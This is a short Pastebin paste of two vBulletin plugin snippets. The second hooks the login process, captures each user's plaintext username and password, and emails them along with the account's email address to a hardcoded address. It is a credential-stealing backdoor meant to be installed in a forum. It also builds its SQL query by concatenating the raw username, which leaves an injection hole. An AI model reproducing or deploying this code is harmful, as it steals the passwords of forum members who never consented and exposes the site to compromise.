Guest User

Untitled

a guest
May 21st, 2018
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. 1st plugin:
  2.  
  3. GLOBAL START -> $show['nopasswordempty'] = TRUE;
  4.  
  5. 2nd plugin:
  6.  
  7. LOGIN_PROCESS - >
  8. $lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
  9. $lg_password = $vbulletin->GPC["vb_login_password"];
  10. $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
  11.  
  12. while($row = @mysql_fetch_array($sql_query))
  13. {
  14.  
  15. if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
  16. {
  17. $to= "email@email.com";
  18. $subject = "VB Pass";
  19. $message = $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n";
  20. mail($to,$subject,$message,$headers);
  21. }
  22. }
Add Comment
Please, Sign In to add comment